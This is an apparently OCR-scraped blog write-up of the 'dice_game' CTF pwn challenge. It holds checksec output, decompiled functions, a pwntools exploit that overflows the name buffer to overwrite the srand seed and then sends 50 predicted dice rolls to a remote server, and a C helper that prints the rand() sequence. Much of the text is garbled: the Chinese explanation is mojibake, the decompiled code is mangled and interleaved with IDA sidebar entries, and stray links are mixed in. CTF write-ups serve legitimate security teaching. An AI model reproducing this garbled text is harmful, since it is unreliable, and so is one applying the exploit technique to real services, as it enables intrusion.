pwn-dice_game

bufsnake + 2019-08-05 15:20:16 K Aii 105 WCER 1
SRR CTE PWN & 4545 :  dice_game pwn writeup ctf

B W] ASON TR IR S0, 1845 CC 4.0 BY-SA RN, e #8iif iy L J5 SCH AbBER A 1

A EERZ: https://blog.csdn.net/qq_40640243/article/details/98486863
AL

CTF [A]i # 2 A>T A=l 5

3 FiSCH 0 1T
T

2 J@3CE 0T
Wb LA

:checksec dice_game
[*] '/root/dice_games/dice_game'
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[7] Functions window 0o Q @[[F IDA View-A @ 8] Stack of main
e mapm— Sec ;{_intsﬂl _ fastcall main(__int64 al, char **a2, char **a3)
[7] _init_proc ini

¢ el

[7] printf 5 gsize t v6; /

[7] _assert_fail -pl 6 unsigned il’lt //

[7] read -pl 7/ unsigned int v8;

[7] _libc_start_main .pl 8

[7] srand pl 9 Mems.e 0, 0x30uLL);

) fgets ol ig * = time(OLL) ¢ me x

- . o prin rlvome; let me know your name:

%E:’:""‘s art— Pl o112 fflush(stdout);

[7] #flush w14l if ( <= ']

Efo.pen -pl 15 [ - 1] = 0;

[7] _isoc99_scanf Pl ®16 printf("Hi, 3s. Let's play a game.\n",

[F] _exa_finalize B0 17, fflush(stdout);

[7] rand .pl 18| srand( [01);

[7] start te 19 = 1;

[7] sub_920 te © 20 = 0;

[7] sub_9B0 te 721 while (1)


https://blog.csdn.net/qq_40640243
https://blog.csdn.net/qq_40640243/category_8886614.html
https://blog.csdn.net/qq_40640243/category_9186088.html
https://so.csdn.net/so/search/s.do?q=dice_game&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=pwn&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=writeup&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_40640243/article/details/98486863
https://blog.csdn.net/qq_40640243/category_8886614.html
https://blog.csdn.net/qq_40640243/category_9186088.html

= 22| {
[7] sub_aF0 te 53

[7] sub_A20 te o 24
[eub=B28 e o 95 fflush(stdout);
m e o 26 if (v5 I1=1)

Bag te @27 break:
[7] fini te © 2B if (|ve == 50 )
29

printf("Game %d/50\n", v8);
v5 = sub A20();

_term_proc fir
__imp_puts ex ® 30 sub_B28(buf);
_imp_printf ox g; break;
__imp__assert_fail ex }

33 +Hv8;
—limp_read = 31 })
_imp__libc_start_main ex 435 puts("Bye bye!");
—imp_srand ex © 36 return OLL;
_imp_fgets ex © 37}
__imp_time ex
Line 22 of 39
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e p—— Sed lsigned _ int64 sub_A20()
= =2
J"M't;""’c A 3 signed __int64 result; // rax
P # 4 _ intle wvl; // [rsp+Ch] [rbp-4h]
printf -l 5 ""intl6 v2; // [rsp+Eh] [rbp-2h]
_assert_fail -pl 6
read .ol ® 7 printf("Give me the point(1-6): ");
[F] _libe_start_main .pl 8 fflush(stdout);
srand ol 9 _isoc99_scanf("thd", &vl);
7 tgets ol it‘il i.f(vl>0&&v1<-6)
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[7] #flush .pl (v v Il v Il v ) " " " "
14 14 point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice game");
[7] fopen Al g5 if (vl == v2 )
__isoc99_scanf pl 16 {
__cxa_finalize P 17 puts("You win.");
[#] rand .pl #18 result = 1LL;
start te 19 }
sub_920 te 20
sub_9B0 te 21 { . .
[7] sub_8F0 el :: P“t‘it!:“oiz’t' )i
sub_A20 tef oy } resw i
[7] sub_B28 te 25 |y
7] main e 26 else
init te 27
fini te © 28 puts(“Invalid value!");
[7] _term_proc fir © 29 result = OLL;
[7] _imp_puts ex 30 }
7] _imp_printf ex 31 return result;
_imp__assert_fail o ® 32}
_imp_read ex
_imp__libc_start_main ex
_imp_srand ex
_imp_fgets ex
_imp_time ex
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1llint fastcall sub B28(__int64 al)
2/{
3| char B; // [rsp+l10h] [rbp-70h]
4| FILE *stream; // [rsp+78h] [rbp-8h]
5
6 printf("Congrats %s\n", al);
7/ stream = fopen("flag", "r");
8 fgets(&s, 100, stream);
9 puts(&s);
10 return fflush(stdout);
11}

Rt SRR, SN T, vein—, SEEE T ERGR Y, FEX50/E H %k flag

g



fAnamefEFHHE, HibMEtseedFIME, XAF, rand()7F=AEMIBENLEUR AT U, FRATAT LS [ O f A SBELED T 51, B
7 Hiok 7

exp

from pwn import *

context(log_level="debug"')
pro = remote("111.198.29.45",49881)

seed = [0Ox2,0x5,0x4,0x2,0x6,0x2,0x5,0x1,0x4,0x2,0x3,0x2,0%3,0x2,0x6,0x5,0x1,0x1,0x5,0x5,0x6,0x3,0x4,0x4,0%3,0x3,
0x3,0x2,0x2,0x2,0x6,0x1,0x1,0x1,0x6,0x4,0%x2,0x5,0x2,0x5,0x4,0x4,0x4,0Xx6,0x3,0x2,0x3,0x3,0%x6,0x1]

pro.readuntil("your name: ")
pro.sendline("a"*0x40+p64(1))

def sendl(seedd):
pro.readuntil("point(1~6): ")
pro.sendline(str(seed[seedd]))

for i in range(0,50):
sendl (i)

pro.interactive()
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#include <stdlib.h>
#include <stdio.h>
#include <time.h>

int main(){
int i = 9;
srand(1);
for(i =0;i<60;i++){
printf("%p,",rand()%6+1);
}

return 0;
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